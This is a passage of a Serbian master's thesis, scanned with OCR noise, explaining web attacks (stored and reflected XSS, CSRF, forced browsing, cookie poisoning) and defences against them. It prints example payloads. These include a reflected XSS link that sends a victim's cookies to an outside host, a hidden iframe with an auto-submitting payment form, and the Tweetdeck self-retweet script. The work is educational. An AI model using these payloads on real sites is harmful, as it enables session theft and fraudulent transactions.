opisa¢emo dva najkors$¢enija. Odobravanje prikaza korisnikovog unosa, stranice belezi
sve unose u bazu, ali prikazuje samo one koji su odobreni od strane administratora sajta.
Ovaj metod se koristi na portalima i u elektronskim medijima jer ovim putem sprecavaju
pored napada i govor mrznje, rasnu netrpeljivost itd. Drugi nacin je pisanjem funkcije
u kodu koja spreCava izvrSavanje bilo kog koda iz baze podataka. Funkcije koje
sprecavaju ove napade su htmlspecialchars() ili htmlentities()[19]. Ove funkcije
pretvaraju problemati¢ne karaktere i html entitete[20]. Rezultat, ukoliko se koriste ove
funkcije, je potpuna zastita od izvr§avanja zlonamernog koda, umesto izvrSavanja, kod
se ispisuje kao obican tekst.

Primer 2:

Ukoliko zlonamerni korisnik ho¢e da onesposobi odredeni sajt na kome postoji
npr. mogucnost unosa komentara, a ne postoji gore navedena provera unetih podataka,
ti moZe biti izvedeno unosom dva komentara. U slede¢em primeru, cilj napadaca je da
izvrsi preusmeravanje stranice na drugu adresu.

Prvi je na primer:
<script>alert (,0vaj sajt nije platio hosting") </script>
A drugi komentar bi bio:

<script>window.location="http://www.google.com/search?g=veb+ho
sting+adria’ </script>

Posledica ovih komentara je slede¢a: Svako ko dode na zaraZeni sajt. Prvo izade
upozorenje ,,0vaj sajt nije platio hosting”.

Cwaj sajt nije platio hosting

Slika 2.2.2

Potom prilikom potvrdivanja korisnika klikom na OK, klijent bi bio preusmeren
na google pretragu sa ve¢ ukucanim parametrima ,,veb hosting adria”. Ovakvi napadi
se izvode da bi se naruSio ugled napadnutog sajta ali i da bi se svi korisnici koji dodju
na pomenuti sajt preusmerili na drugi sajt koji je napadac postavio.
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Sajt postaje zarazen | neupotrebljiv

alert i redirekcija
o —/

Napadac Posetilac
Ubacuje oba komentara na sajt zahteva stranicu sajta
dobija upozorenje
1 redirekciju
Slika 2.2.3

Primer 3:

Ni najbolje 1 najbogatije kompanije nisu imune na stored xss. Najbolji primer je
kompanija Twiter. U Aprilu 2014 na drustvenoj mrezi Twiter se pojavio twit koji je
mogao sam sebe da retwituje. Ovim napadom bilo je pogodjeno 10 miliona pratioca
twiter naloga ,,BBC Braking News”. Napad je prilino jednostavan, a uspeo je jer
navodno jedan od server, koji je sadrzao filter za ovkve vrste napada, bio offline samo
jedan minut*... Twit je izgledao ovako:

19.1K 530 3 10.1M More
Tweets Tweets and replies
"1' *andy

<script

class="xss">%$(".xss").parents().eq(D).find('a).ea(l).click):$('[data-
action=retweet]").click(;alert('XSS in Tweetdeck')</script>%

BBC Breaking News

Slika 2.2.4

4 Zvani¢no saopstenje kompanije Twiter

R ——————
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Rec¢ je o JQuery kodu koji je bio protumacen od strane veb-pregledaca kao
legitiman deo koda stranice. Ovim ,,twitom” napadac je uspeo da zarazi 10 miliona
korisnika, kojima bi se na nalogu pojavio ovaj twit ali i ,,alert” box u kome bi pisalo
»X3S in Tweetdeck” koji bi izgledao ovako:

TweetDeck by Twitter
XSS in Tweetdeck

0K

Slika 2.2.5

Zastita od stored xss-a napada se svodi na kontrolisanje unosa korisnika. Sve
forme na sajtu su podlozne ovim napadima. Najefikasniji nacin je kreijanje filtera koji
bi ,,hvatali” zlonamerni kod prilikom unosa i sprecavali da isti dospe u bazu, ili primena
ve¢ gore navedenih metoda. Glavni problem je Sto je korisnik izloZen napadu na sajtu
kome veruje i ne moZe da otkrije da je sajt zaraZen pre posete. Administratori prate
ovakve napade i konstantno unapreduju filtere kako bi sprecili da njihovi korisnici budu
meta napada.

Ukoliko Zelimo da zaStitimo sajt od napada pre unosa u bazu podataka, to
mozemo uraditi kao u slede¢em primeru:

// validacija komentara
Scomment = trim(S_POST["comment"]);
if (empty ($comment))
{

exit ("morate uneti komentar");
}
// “uklanjanje” html i1 php tagova

Scomment = strip_tags (Scomment);

// na kraju je komentar spreman za skladisStenje

file_put_contents ("comments.txt", Scomment, FILE APPEND);

// citanje komentara sa koriscéenjem funkcije htmlspecialchars
Scomments = file get_contents ("comments.txt");

echo htmlspecialchars (Scomments);
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2. Reflected xss (reflektujuci) — prosledivanje zlonamernih skriptova kao
URL parametra. Ovo je najkori§¢eniji tip napada umetanjem skriptova . Napad se vrsi
preko URL linka, pa je zato najpogodniji za kori§¢enje u zlonamernim mejl porukama.
Istrazivanja su pokazala da od svih mejl poruka, 92% cine SPAM poruke u kojima je
velika zastupljenost ovog vida napada[17].

Primer 1:

http://primer.com?qg=<script
type="text/javascript">alert ('Ovaj sajt nije za
tebe');</script>

Ovaj primer ilustruje reflected xss tip napada. Ukoliko nekome posaljete ovaj
URL u poruci i on klikne na njega, otvori¢e mu se sajt ,,www.primer.com” ali i poruka
upozorenja u kojoj ¢e pisati ,,Ovaj sajt nije za tebe”. Cilj ovog primera je pokaZe da se
u URL-u do odredenog sajta mogu sakriti i neka upozorenja. Ovakav kod ne moze
uraditi niSta korisniku, ali postoji 1 kod koji moZe naciniti veliku Stetu korisniku, poput
krade kolacica raznih sajtova kao i krade podataka o banci ili kreditnoj kartici.

Primer 2:
karakteri kodirani

http://primer.com/search?keyword=%3Cscript$3Ewindow.locat
10on%$3D%27http%3A%2F$2Fwujic. com$2F$3Fvictimcookie$3D%27%2
Bdocument.cookie$3C%2Fscript$3E

nekodirani primer

http://primer.com/search?keyword=<script>window.location=

"http://wujic.com/?victimcookie=’+document.cookie</script
>

Primer koda pokazuje kako mozemo ,,ukrasti” kolaci¢e samo jednim linkom. U
ovom primeru karakteri su kodirani odgovaraju¢im entitetima. URL ne moZe sadrZati
prazno mesto izmedu dve reci ali i menja nesigurne ASCII karaktere sa ,,%” i dva
broja[21]. Ukoliko korisnik klikne na ovaj link, koji je dobio preko mejl poruke ili
otvaranjem sajtova koji nisu sigurni, bi¢e preusmeren na drugi sajt, ali u tom procesu
¢e njegovi kolacic¢i biti poslati onom ko je kreirao link.
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Salje link #rtvi u
email poruci

Zrtva se linkom
konektuje na sajt

Posetilac

Veb pregledac Salje podatke
koje je napadac “trazio”

Napada¢ veb saijt

Kreira skript i
spaja ga sa linkom Skript se izvrsi u veb pregledagu
bez znanja posetioca

Slika 2.2.4

Zastita od reflected xss-a napada sada za razliku od stored xss-a spada na
korisnika. Najefikasnija zaStita je da ukoliko korisnik dobije mejl sa nepoznate adrese
u kome postoji link ka nepoznatom sajtu ili link koji je skriven i izgleda na primer ovako
,Hhttp://secrue.net/dgadrtsjfshs” klikom na link korisnik moze izgubiti puno podataka
koji se nalaze u kolaci¢ima.

Danas je aktuelno da, zlonamerni ljudi u naSem druStvu poznati pod imenom
hakeri koriste ovaj tako re¢i fenomen znatizelje kod ljudi i ve¢ godinama uspeS$no
obmanjuju lakoverne korisnike popularne druStvene mreze Facebook. Ovaj nacin
prevare radi na dva nacina. Oba nacina poc€inju isto, korisnik mora kliknuti na link koji
mu je poslat, ili mejl-om ili porukom na drustvenoj mreZi. Prvi nacin koristi link do
strane koja je identiCna pocetnoj strani za prijavljivanje na druStvenu mreZu i koristi
,,phishing” pecanje, tako Sto korisnik ukuca svoje korisnicko ime 1 lozinku koji se Salju
u bazu kojoj pristupa osoba koja je kreirala link. Drugi nacin koji je daleko napredniji
koristi reflected xss. U linku koji je poslat korisniku dodat je i script deo koji krade
kolaci¢e i omogucava kreatoru linka da preuzme kontrolu nad korisnikovim profilom
na toj druStvenoj mrezi. Ovo je moguce ukoliko napadac dobije id sesije pomocu kog
se uloguje na tu drusStvenu mreZu kao napadnuti korisnik.

U veb aplikaciji koja prakti¢no pokazuje ovaj vid napada koriS¢en je slede¢i kod
za napad:

<button onclick="upozorenje()">Probaj me</button> <script>
function upozorenje() { alert("Cao, ja sam umetnut :) !");}
</script>
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Deo aplikacije koji demonstrira ovaj napad izgleda ovako:

MASTER RAD MATEMATICKI FAKULTET

Master rad

Unesite komentar na stranu:
Vec napisani komentari

Redni broj:

Vas

komentar

Vec napisani komentari (posle filtriranja!!!)

Redni broj:

/button> <script> function ode_ki

Slika 2.2.5

2.3 Prevara falsifikovanjem zahteva

Prevara falsifikovanjem zahteva (engl. Cross-Site Request Forgery (CSRF)) je
tre¢i po ucestalosti koriS¢enja na internetu[24], odmah posle umetanja skriptova i
umetanja SQL upita. Ovaj napad se deSava kada zlonamerni sajt izaziva korisnikov veb-
pregledac da izvrsi neZeljenu akciju na sajtu u koji imate poverenja. Ovi napadi postoje
jer veb-programeri nisu obavesteni o uzroku i ozbiljnosti od ovakvih napada. Glavni
problem sa ovim napadom je to Sto se veoma malo paZnje posvecuje zastiti jer veb-
programeri nisu upuceni u razornu mo¢ koju napad moze postici[22].

Prevarom falsifikovanjem zahteva obi¢no se napadaju veb forme kreirane na
sajtovima kojima korisnici veruju, najceS¢e forme banaka ili drugih finansijskih
institucija jer je svrha samog napada zapravo krada korisnikovih podataka i vrSenje neke
radnje u ime Zrtve. Uz malu pomo¢ druStvenog inZenjeringa (kao Sto je slanje linka

e —————
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putem elektronske poruke ili dopisivanja), napada¢ moZe prevariti korisnka veb
aplikacija da izvrSi akciju koju napadac Zeli. Ako je Zrtva korisnik privatnog racunara,
uspeSan napad moZe prisiliti korisnika da izvrSi zahteve poput prebacivanja sredstava,
menjanja svoje elektronske mejl adrese, i tako dalje. Ako je Zrtva administrativni radnik
neke kompanije, ovakav napad moZe ugroziti celu veb aplikaciju kao i kompaniju u
kojoj radi Zrtva. Sustinu rada ovog napada objasni¢emo na primeru neke banke. Kada
se Zrtva uloguje na sajt banke, na raunar korisnika stize kola¢i¢ koji sadrZi neke
podatke o tome ko se ulogovao. Taj kolaci¢ je saCuvan u Zrtvinom pregledacu koji se
povremeno Salje nazad serveru, kada veb aplikacija zatrazi proveru ukoliko Zrtva
pristupa nekoj opciji unutar same aplikacije.

Zriva se loguje na sajtu banke / |-
Banka salje kolaéi¢

w /)

L

L @

Slika 2.3.1

o

Napadac koji je upoznat sa dizajnom forme, koja postoji na sajtu banke, kreira
veb stranicu u kojima su isti nazivi polja, nacini slanja podataka kao i adresa na koju
se podaci salji na server. Na toj strani sa nekim smesSnim klipom ili sli¢icom ili bilo
¢ime zanimljivim, nalazi se i kod forme koju ima i banka, samo $to su polja popunjena
podacima poput broja racuna i svote novca koju Zeli da dobije 1 sakrivena od korisnika.
Zrtvi se $alje email sa linkom koji vodi na stranicu sa navodno smesnim klipom, na koji
zrtva odlazi iz znatiZelje (90% ljudi klikne na link iako ne znaju ko ga Salje niti Sta
sadrzi). Pomenuta forma je sakrivena od Zrtve i pokrece se automatski prilikom
otvaranja strane. Prilikom samog otvaranja strane i pokretanja forme, ta forma Salje
podatke banci, predstavljajuci se kao Zrtva, banka zatrazi kolaci¢, dobije ga 1 postupa
po nalogu koji je unet, kao da je Zrtva sama to uradila. Zrtva naZalost nema znanja o
tome Sta se deSava...




Pa izvrienju napada
napadaé dabija
a “svaj" novac

NapadaZ kreira stranu koja sadrii
skrivenu formu i 3alje link Zriwi

Slika 2.3.2

Ovo je jedan od primera napada falsifikovanjem zahteva. Sam kod koji ovo omogucuje
je veoma lako uneti u bilo koju stranicu koji napadac kreira, evo jednog primera:

<iframe src="http://www.mojsajt.com/ukradi.php"
style="display:none"></iframe>

Ovaj deo koda koji poziva stranu na kojoj je zlonamerni kod, mozZe biti na bilo
kojoj stranici koji kreira napadac, potpuno je nevidljiv za korisnika. Strana ,,ukradi.php”
koju poziva, a koju Zrtva ne moZe da vidi, moZe izgledati ovako:

<body onload="document.getElementById('f') .submit ()">

<form id="f"
action="http://banca.com/placanja/formular/prijempodataka.php"
method="post" name="forml">

<input type="hidden”name="platilac" value=".
$_COOKIE[$cookie name]">

<input type="hidden” name="svrhauplate" wvalue=" plac¢anije
usluge">

<input type="hidden” name="primalac" wvalue=" Predrag">
<input type="hidden” name="iznos" value=" 5300">

<input type="hidden” name="rarcun_primaoca" value="160-
737455574-25"> </form> </body>

Ovako nesto bi uspelo u ranim fazama elektronskog bankarstva, danas je,
kodiranje usluga kod banaka radi sasvim drugacije. Da bi se zastitile banke ali i ostale
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institucije od ovakvih napada, sa kojima su itekako upoznati, vr§i se provera na vise
nivoa.

Token sesije. Jedan od osnovnih nacina odbrane je kreiranje tokena sesije.
Nasumic¢no izabran niz karaktera se prilikom logovanja Salje korisniku, a korisnik svaki
put kada uradi nesto za Sta je potrebna autorizacija Salje token nazad i ukoliko je token
odgovarajuci, sve prolazi bez problema. Ali poSto je to relativno slicno koladicu,
potreba za viSe nivoa provere je neminovna.

SMS token. SMS token radi tako Sto prilikom npr. plac¢anja, korisnik, klikom na
dugne plati, dobija sms poruku koja sadrzi nasumicno izabran niz karaktera i na ekranu
se pojavljuje polje u koji korisnik unosi taj kod u predvidenom roku. Danas je
najrasprostranjeniji nacin provere identiteta korisnika.

Kljué. Klju¢ u obliku fajla na CD-u je jo$ jedan od nacina zastite. Prilikom
otvaranja naloga za onlajn placanje ili bilo Sta Sto je potrebno zastititi na ovaj nacin,
korisnik dobija CD koji sadrZzi fajl koji sluzi kao klju¢, zajedno sa Sifrom koja ide uz
njega. Prilikom pokretanja neke akcije koja zahteva autorizaciju, od korisnika se
zahteva da obezbedi taj fajl zajedno sa Sifrom i ukoliko su ispravni, sve prolazi kako
treba. Naravno ovaj metod nije savrSen jer napada¢ moze da ukrade taj fajl i Sifru, ali
kombinacijom nekoliko vrsta zaStite postizu se dobri rezultati.

Deo kreirane aplikacije koji opisuje ovaj napad pokazuje kako klikom na neku
reklamu koja je korisniku poslata kao elektronska poruka ili se nalazi na zlonamernom
sajtu kao baner, napadac¢ koriS¢enjem korisnikovog kolaci¢a odvodi korisnika na stranu
za deaktivaciju ili brisanje naloga. Evo kako izgleda opisana stranica:

MASTER RAD MATEMATICKI FAKULTET

Master rad

Ulogovani korisnik: 0vo je kao reklama na drugom sajtu, koji je korisnik posetio po preporuci iz
nekog mail-a:

Korisnik je ulogovan sa mailom wujic88@gmail.com

A njegov username j wujic88

(il open happiness®

za njegov nalog pise da je: aktivan

Slika 2.3.2
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Ukoliko korisnik koji je prijavljen na ovoj stranici, klikne na ,,Coca Cola” reklamu, ta
akcija ¢e dovesti do deaktiviranja njegovog naloga, tako $to je stranica na koji reklama
vodi kreirana tako da korisnika preusmeri na stranu za deaktivaciju naloga, koristeci
njegov kolacic.

Zakljucak

Programeri generalno imaju malo znanja o ovoj vrsti napada, iako je tre¢i po
ucestalosti 1 prilicno opasan. Postoji dosta dobar sistem zastite ali nijedan sistem nikada
nije potpuno zasti¢en jer napadaci konstantno nalaze nacine da produ sve te nivoe zastite
pa je stoga neophodno konstantno unapredivanje i pra¢enje najnovijih dostignuc¢a u
oblasti zasStite veb aplikacija. Veruje se da su aplikacije ¢ije forme sadrZe viSe koraka
imune na ovaj napad, ali je potpuno netacno i veoma opasno verovanje.

2.4 Nasilno pregledanje

Nasilno pregledanje predstavlja napad koji koristi propust programera da
zabrani ili ogranici pristup delovima koji sluZe za odrzavanje i pracennje rada aplikacije,
primenjuje se nagadanjem URL adrese resursa na serveru[23]. Napad ove vrste je
organizacija koja se bavi sigurnoScu veb aplikacija (The Open Web Application
Security Project)[24]. Ovu ranjovost zlonamerni korisnici redovno primenjuju kao
primarni nacin da ispitaju kako je obezbedena veb aplikacija koju planiraju da napadnu.

Zlonamerni korisnik analizira HTTP server kodove da uo€i postojanje
potencijalnih resursa koji nisu zaSti¢eni i URL adrese do tih resursa. HTTP kodovi
predstavljaju privremeni odgovor servera na zadatu komandu. U slucaju da korisnicki
raCunar uputi zahtev serveru, kao odgovor prvo dobija HTTP kod koji sadrzi
informaciju o statusu zahteva[25]. Ovim napadom, zlonamerni korisnik traga za
nekakvim sadrZajima na sajtu interesantnim sa aspekta bezbednosti, kao $to je izvorni
kod, rezervne kopije podataka, privremeni direktorijumi datoteka, log fajlovima ili bilo
koji deo koda pomocu koga mozZe da pristupi ostatku aplikacije. Generalno ove datoteke
se ¢uvaju negde na serveru i moze biti lako dostupna ako ,Directori Listing®, koji
predstavlja spisak direktorijuma i fajlova na serveru, ukljucen. Naj€eSce se pokuSava sa
standardnim nazivima direktorijuma kao S§to su: Admin, Administrator, Images,
Backup, Log, Scripts koji su zajednicki za svaki sajt[26]. Vecina veb aplikacija koriste
proveru identiteta, putem unosa korisnickog imena i Sifre, kako bi se osiguralo da samo
korisniku koji ima prava pristupa odredenim stranicama, moZe biti dozvoljen pristup.
Nasilno pregledanje je jednostavan napad koji pokuSava da zaobide ove kontrole,
traze¢i nacin pristupa direktno, bez pruzanja korisni¢kog imena i lozinke, ili traZeci
stranice koje suizvan nivoa pristupa nivou odredenom prijavljenom korisniku. Ako nisu
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ispravno konfigurisane dozvole na ovim stranicama, neovla$¢eni korisnik ¢e dobiti
pristup sadrzaju tih stranica.

Potencijalni uticaj naslinog pregledanja je gubitak vaZnih podataka kao i
potencijalno ugroZavanje privatnosti drugih korisnika napadnute veb aplikacije. Ako je
veb aplikacija zapravo sajt razvijan u CMS sistemu poput joomla i wordpress, moze
do¢i do problema jer su putanje prema administracionim stranicama dobro poznate
posto su oba pomenuta CMS reSenja otvorenog koda (eng. open source) 1 ukoliko se te
putanje ne promene ili ne zaStite mozZe do¢i do preuzimanja sajta od strane zlonamernog
korisnika.

Primerl:

Joomla CMS ima putanju ka administracionim delu:

http://www.mojsajt.rs/administrator

Ukoliko ovaj link ukucamo u internet pregledac¢ dobi¢emo stranu za prijavljivanje

& Joomlal

L | 7]

a8 )

W language - Default v
Slika 2.4.1

Dolaskom na stranu =za prijavljivanje, napada¢ vec ima prednost.
Najjednostavnije reSenje je promena putanje od strane administratora sajta, ili zastititi
taj link dodatnim prijavljivanjem koje server moze da zahteva za odredenu adresu.

Najgori 1 najve¢i problem predstavlja podeSavanje prava pristupa jer to
programeri veoma cesto zaborave. NajlaSe je podesiti u FTP klijentu. Postoje kodovi
koje serveri koriste kako bi odredili ko i1 kako moZe pristupiti odredenim
direktorijumima i fajlovima na serveru[28]. Kodovi su: 400, 600, 700, 740, 760, 770...
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Change attributes

Dwwrer Group World [Other)
Read Read [ ]Read

Wi Tike [ ]'wirite [ ] frite
Execute Execute [ ] Execute

[gray = unchanged, checked = et attribute]

750

Cancel Help
Slika 2.4.2

Na slici je prikazan jednostavniji nacin. Cifre u pomenutim kodovima dele se na
tri cifre koje mogu imati vrednosti od 1 do 7 Prva cifra ozna¢ava sta moze raditi vlasnik
fajlova. Druga cifra oznaCava Sta moZe raditi grupa i tre¢a cifra oznafava Sta mogu
raditi ostali.

Primerl:

Ukoliko su na nekom od direktorijuma postavljena prava pristupa tako da sadrza]
pomenutog direktorijuma bude vidljiv a unutar njega ne postoji indeks stranica, otvorice
se lista fajlova u tom direktorijumu, slika:

& ' | O poincare.matf.bg.ac.rs/~smalkov/files/pveb.r338.2015/public/

Index of /~smalkov/files/pveb.r338.2015/public

Name Last modified Size Description

a Parent Directory
] vi.= 2016-02-22 15:20 128K
i 2016-02-22 15:20 79K

E]]gredavanja 2016-05-18 08:36
pveb.projekts zadact. = 2016-04-04 13:40 4 8K
E] za projekte 2016-02-22 15:24

Slika 2.4.3

Indeksna stranica predstavlja fajl zavan ,index.html” ili ,,index.php” koji
pregleda¢ automatski ucitava ukoliko se nalazi unutar direktorijuma za koji je zadata
putanja. Vidimo da u ovom slucaju to nije problem jer je direktorijum “public” i njegov
sadrZaj je dostupan svima. Problem bi nastao kada bi direktorijum ,.files” imao ista
prava pristupa. Ali poSto nema, dobijamo poruku o tome, slika 2.4.4:
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< C | @ poincare.matf.bg.ac.rs/~smalkov/files

Forbidden

You don't have permission to access /~smalkov/files/ on this server.

Slika 2.4.4

Zastita do ove vrste napada je veoma vaZzna. Ova ranjivost je opasna i moZe
izazvati veliku nevolju za veb administratora i kompaniju koja poseduje podatke na tom
sajtu. To moze otkriti mnoge tajne podatke o sajta, ukljuCujuci rezervne kopije i
konfiguracionih fajlova. Ovo su neki od nacina za zaStitu:

Osigurati potvrdu autenti¢nosti i autorizaciju: U veb aplikaciji uvek napraviti
razliku izmedu korisnika i njihovih uloga. Ako stranica je napravljena samo za
administratora, a zatim proverite da li je korisnik administrator pre davanja pristupa
stranici. Zbog toga je neophodno i Stiti URL od ovog napada, ograni¢avajuci pristup
fajlovima koji nisu predvideni za korisnika[27].

Napraviti matricu za kontrolu pristupa: Izraditi matricu odgovarajuce
kontrole pristupa na sajtu. Ovo je deo provere identiteta na osnovu uloge pre nego Sto
proces obrade podataka koje korisnik traZi po¢ne, a onda poceti sa radom na tome. Svaki
put kada korisnik uputi zahtev za stranicu, proveriti dozvolu korisnika za pristup toj
stranici. Ako on ima dozvolu u matrici, dozvoliti pristup stranici, u suprotnom blokirati
pristup stranici porukom upozorenja.

Sakrivanjem stvari ne ¢ini ih nedostupnim: Programeri misle da korisnici
nikada nece moci direktno da pristupite stranici bez prolaska kroz unapred odredene
korake. Ukoliko na primer na serveru postoji direktorijum ,,download koji sadrZi
fajlove koje mogu preuzeti samo korisnici koji su ulogovani i pristupaju tim fajlovima
putem URL-a koji dobijaju unutar aplikacije, zlonamerni korisnici mogu dobiti pristup
svim fajlovima u tom direktorijumu, jednostavnim ukucavanjem URL putanje do
pomenutog direktorijuma. Nasilno pretrazivanje zloupotrebljava tu pretpostavku i
napadadi poku$avaju da pristupe skrivenim stranicama. Sto se ti¢e glavne poruke ona
glasi ,,Nikada ne veruj korisniku*.

Izbegavajte koriScenje uobi¢ajenih imena za direktorijeme i fajlove: Skoro
direktorijuma su admin, administrator, slike, img, backup, JS 1 scripts. Njih je lako
pogoditi. Programeri moraju pokusati da daju neke ¢udne nazive koji su jedinstveni i
teSko pogoditi. Ovo Cini nasilno pregledanje izuzetno teSkim[27].

e —————
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Blokirati pristup svim tipovima datoteka koje su neiskoriScene: Uvek
blokirati pristup iz pretrazivaca fajlovima koje Koristi sajt a nece trebati kranjim
korisnicima. xml datoteke, log datoteke i backup fajlove, kojima administrator moZze
pristupiti uz pomo¢ FTP (eng. fite transfer protokol) .Potrebno je samo dozvoliti .html,
htm, .php, .pdf i nekih ekstenzija slike koje sajt koristi. Ovo Ce blokirati pristup nekim
sigurnim datotekama koje se nalaze na serveru akoji bi inace bili dostupni svima koji
pogode URL putanju.

U aplikaciji koja demonstrira ovaj napad pokazano je upravo opisano nasilno
pregledanje, nagadanjem ID broja koji se koristi za identifikaciju korisnika, takode
pokazano je kako nasilnim pregledanjem moZemo saznati Sta se sve nalazi na serveru
ukoliko administrator nije zaStitiokao $to je iznad opisano.

Index of /master_rad/masilno_pregledanje
Name Last modified Size Description

: Parent Directory
@ nasilno_pregledanje php 2017-09-26 12:27 6. 3K

Apache’2.4.18 (WinG4) PHP/5.6.19 Server at localhost Port 80

Forbidden

You don't have permission to access /nasilno pregledanje/ on this server.

Apache/2.4.27 (FreeBSD) mpm-ith/2.4.7-04 PHP/3.6.31 Server at master.autoskolasasa.in.

Slika 2.4.5

Na slici 2.4.5 gore je prikazano nezasti¢eni deo koji je ranjiv na ovaj napad, dok
je na dole pokazan pokusSaj napada na zasti¢eni deo sajta.

Zakljucak

Programeri ne treba da zaborave da napadaci direktno mogu da unesu URL
adrese veb stranica u traci za adresu pregledaca. Pre nego Sto zapo¢ne razvoj aplikacije,
programer mora uzeti u obzir najgori slu¢aj i zauzeti stav: nikad ne veruj korisnicima i
njihovim unosima. Ako sajt ima manji broj stranica onda je lako proveriti i potvrditi sve
stranice. Dakle, profesionalna pomo¢ je potrebna za ovaj proces ukoliko veb aplikacija
radi sa vaznim podacima. Postoje neki automatizovani alati koji pokuSavaju da ovaj
posao olakSaju, ali najefikasniji nacin je da se proveri 1 runo testirati ga.
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2.5 Trovanje kolacica

Kolaci¢ (eng. cookie ) je tekstualna datoteka koja se kreira na racunaru klijenta
prilikom posete nekog veb sajta. Termin ,.kolaci¢” je nastao kao referenca na Unix’
program ,,Sreéni kolaci¢” koji je uvek prilikom pokretanja ispisivao drugaciju
poruku.[29] Kolaci¢i su prvobitno napravljeni kako bi se sajtovi personalizovali. U
pocetku, dok su sajtovi jo§ bili uglavnom stati¢ni, kolaci¢i su sluzili kao jednostavan
nacin ,,pamc¢enja”’ parametara kojim su programeri pokusavali da stranice prilagode
svacijem ukusu. Parametri koji su upisivani u kolacice, poput veli¢ine i boje fonta, boje
pozadine, itd. su prilikom svake druge posete korisnika ucitavani od strane servera i
koriS¢eni u kodu stranice. Kasnije, uporedo sa razvojem veb sajtova i kolaci¢i dobijaju
sasvim nove uloge koje su postale nuZne za moderan i dinami¢an veb. Koli¢i¢i su
najc¢eSc¢e koriS¢eni prilikom prijavljivanja na sajtovina koji zahtevaju autorizaciju.
Ukoliko korisnik ne Zeli da, svaki put kada posecuje stranicu, unosi korisni¢ko ime i
lozinku, na sajtovima obi¢no postoji opcija na strani za prijavljivanje ,,zapamti me”.
Ako se pomenuta opcija aktivira u kolacicu se ¢uvaju podaci za prijavljivanje, time se
postiZe brzi pristup stranicama. Kola¢i¢e moZemo podeliti prema nacinu upotrebe na
viSe vrsta:

Kolaci¢ sesije se kreira kada korisnik poseti neku stranicu koja prethodno
zahteva prijavljivanje. Cuvaju se u privremeno lociranoj memoriji od strane pregledaca.
Prilikom kreiranja kolaci¢a kome nije odreden datum isteka, a sam kolaci¢ u vecini
slu¢ajeva sadrzi samo IDS sesije. Internet pregledaci izbrisu kolaci¢ sesije kada korisnik
zavrsi sa koris¢enjem ili se odjavi sa pomenutog sajta.

Trajni kolaci¢i se obi¢no cuvaju na hard disku racunara klijenta. Pored toga §to
ostaju na racunaru nakon zatvaranja pregledaca u njima se Cuvaju i podaci za
prijavljivanje korisnika ako je gore pomenuta opcija ,,zapamti me” ukljucena. Trajni
kolaci¢i mogu ostati snimljeni u racunaru korisnika mesecima pa ¢ak i godinama. Medu
podacima koje ovi kolac¢i¢i mogu Cuvati mogu se naci i stranice koje korisnik najéesce
posecuje kao 1 sajtovi na koje odlazi nakon posete, zbog ovih karakteristika mogu sluziti
i za pracenje (tracking cookies)[30]. Pomenuti kolaci¢i ne mogu nauditi korisniku ali
mogu biti povezani sa pitanjem privatnosti, jer se podaci o ponaSanju i sajtovima koje
korisnik posecuje mogu koristiti u marketinSke svrhe a mogu biti 1 prodate drugim
kompanijama.

HttpOnly je kolaci¢ koji je podrZan od strane vecine modernih pregledaca,
koristi se samo prilikom prenosa http (ili https) zahteva, tako se zabranjuje pristup
podacima iz kolaci¢a aplikacijama koje ne koriste http protokol poput Java skripta.

5 Unix je operativni sistem razvijen 1960-ih i 1970-ih godina u Belovim laboratorijama. Ovaj sistem je bio koren
za razvoj mnogih operativnih sistema.
6 |dentifikacioni broj
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Ovakav nalin kori§¢enja kolafi¢a umanjuje ali ne eliminiSe u potpunosti problem
,krade kolac¢i¢a” ve¢ opisanim metodama poput prevare falsifikovanjem zahteva.

Zombijski kolacdiéi, pedstavljaju kolaci¢e koje je prakticno nemoguce obrisati
posto se automatski iznova kreiraju posle brisanja. Ovo se postize pomocu skripte koja
kopira sadrZzaj kolacica na druge lokacije unutar korisnikovog raCunara. Obi¢no se
koriste za pracenje aktivnosti korisnika na odredenim sajtovima.

Kolaci¢i za upravljanje sesijama se koriste za pristup podacima korisnika koji
se prijavio na sajt. Prilikom prijavljivanja, server Salje korisnikovom racCunaru
jedinstveni identifikacioni broj sesije unutar kolaci¢a. Prilikom kretanja kroz sajt,
korisnikov racunar konstantno komunicira sa serverom, tako $to mu Salje nazad broj
sesije, a server kao odgovor vraca podatke koji su potrebni za ucitavanje traZene
stranice. Uz pomo¢ ovih kolacica moguce je implementirati virtuelnu korpu za
kupovinu na internet prodavnicama. Implementacija se svodi na to da se u bazi ¢uvaju
svi odabrani artikli a da u kolaci¢u postoji samo indentifikacioni broj te virtuelne korpe.

Kolaci¢i za praéenje se koriste za pracenje aktivnosti korisnika prilikom
surfovanja internetom. Pradenje se takode moZe posti¢i i prisluSkivanjem IP adrese
racunara sa kog korisnik pristupa internetu, ali kolaci¢i predstavljaju bolje reSenje jer
su IP adrese dinamicne. Prilkom dolaska korisnika na sajt koji sadrzi kod za kreiranje
ovakvh kolacica, server kreira kolac¢i¢ koji sadrzi slu€ajni niz karaktera, nakon toga
pregledac ¢e serveru automatski slati kolaci¢ svaki put kada se poSalje zahtev za novu
stranicu sajta, server Salje stanicu, sauva URL traZene stranice, datum/vreme zahteva,
i kolac¢i¢ u log datoteku.

Kolaci¢i trece strane predstavljaju tekstualne datoteke koje se kreiraju na
raCunaru korisnika prilikom posecivanja sajta koji u svom sastavu sadrzi servise ili
odredene usluge drugih sajtova. Kolaci¢i takozvane prve strane predstavljaju one
kolacice koje kreira sajt sa adrese koja je prikazana u adresnoj traci pregledaca. Ukoliko
na sajtu postoje reklame ili neki ,,in frame” deo koji koristi neku uslugu drugog sajta,
kolaci¢i koje pomenuti delovi sajta kreiraju su koliaci¢i trece strane. Postoji opcija u
svim pregleda¢ima koja omogucava blokiranje kolacica trecih strana.

Trovanje kolaci¢a je napad koji se sastoji od falsifikovanja podataka unutar
kolacic¢a usled zaobilaZenja bezbednosnih mera ili slanja laznih podataka na server. Ako
je programer veb sajta koji kreira kola¢ic odlucio da ¢uvate vazne parametre u okviru
kolaci¢a trovanje kola¢ica se moze izvrsiti prili¢no lako i efikasno. Jedan od takvih
primera od trovanja kolac¢ica moZe ukljucivati presretanje kola¢ica onlajn prodavnice
pre nego $to se njegova informacija Salje iz raCunara korisnika na server tokom procesa
,»ubacivanja u korpu” i dopunama vrednosti cena moZe da prevari server u punjenje
korisniku manje novca.

Primerl: Za demonstraciju trovanja kolaci¢a, koristicemo besplatan program
,Paros 3.2.13” pomocu kog mozemo da vidimo koje kolaci¢e i koje podatke Salje
server. Na slici je prikazana strana jedne onlajn prodavnice, na kojoj je prilikom
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istraZivanja uocena ranjivost na trovanje kolacica i koja ¢e posluziti ,,meta” napada.
